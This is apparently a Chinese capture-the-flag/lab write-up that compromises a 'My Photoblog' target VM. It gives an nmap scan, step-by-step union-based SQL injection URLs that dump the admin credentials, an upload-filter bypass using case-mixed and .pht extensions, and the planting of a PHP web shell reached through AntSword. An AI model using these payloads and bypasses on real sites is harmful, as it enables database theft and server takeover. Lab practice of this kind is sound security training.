My Photoblog靶机渗透WP
一、环境说明
题目给了一个iso镜像文件,我们通过vmware安装以后,直接就进系统了
二、信息收集
1.获取靶机IP
既然我们已经可以进入靶机系统了,直接ifconfig查一下IP
通过nmap查一下开放的端口
$ nmap -A -p- 192.168.31.130
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-21 03:45 EDT
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 86.22% done; ETC: 03:45 (0:00:00 remaining)
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 03:45 (0:00:06 remaining)
Nmap scan report for 192.168.31.130
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.5p1 Debian 6+squeeze2 (protocol 2.0)
| ssh-hostkey:
| 1024 34:cd:b4:d4:a2:61:b3:95:c6:43:35:ab:fd:5b:6d:50 (DSA)
|_ 2048 2f:1c:23:88:7a:79:f2:35:1e:56:65:a7:0d:2f:1f:54 (RSA)
80/tcp open http Apache httpd 2.2.16 ((Debian))
|_http-title: My Photoblog - last picture
|_http-server-header: Apache/2.2.16 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.21 seconds
发现只开了22端口和80端口
三、漏洞发现阶段
1.html代码查看
发现两个信息,一个是cat.php?id=1,怀疑可以进行SQL注入;另一个是发现了上传的路径,怀疑可以进行上传php shell
2.SQL注入
2.1 判断是否存在注入
上述提到怀疑可以进行sql注入的url,我们先探探路,看下是否可以进行SQL注入,构造url如下:
http://192.168.31.130/cat.php?id=1 and 1=1#
页面可以正常显示
http://192.168.31.130/cat.php?id=1 and 1=2#
发现页面不能正常显示,说明参数id存在sql注入
2.2 判断列数
http://192.168.31.130/cat.php?id=1 order by 1
http://192.168.31.130/cat.php?id=1 order by 2
http://192.168.31.130/cat.php?id=1 order by n
发现n到5的时候报错,那么该表列数为4
2.3 联查查询获取数据库名称
首先判断显示的列位
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,2,3,4#
网页显示如图:
可以看到第二列为显示位,我们在2上做文章,首先查询数据库名:
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,database(),3,4#
可以得知数据库名为 photoblog
2.4 联合查询遍历表名
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,table_name,3,4 from information_schema.tables#
我们看到有一个users表,应该保存的是网站后台的账号密码
2.5 查询users列名
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name = 'users'#
2.6 查询users表数据
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,login,3,4 from users#
由此获得后台管理员用户名 admin
http://192.168.31.130/cat.php?id=1 and 1=2 union select 1,password,3,4 from users#
获得密码密文,长度32猜测为md5,拿去md5破解网站试试:
md5在线解密破解,md5解密加密 (cmd5.com)
得到明文P4ssw0rd
我们拿到这些信息以后,就可以登录后台了
3.文件上传绕过
登录进入后台可以看到有一个上传图片的地方,我们开启burp然后直接上传php试试
可以看到对文件名进行了过滤,我们试试%00截断方法
可以上传,但是不能访问,再试试双写法,发现上传成功,但是无法访问
再试试大小写混淆法:
发现可以,我们访问试试看
上传和访问都成功,后面我又试了php另一个扩展名pht发现也是可以的
4.一句话木马及蚁剑连接
我们构造一句话木马并上传到shell.pht:
然后上蚁剑连接:
完事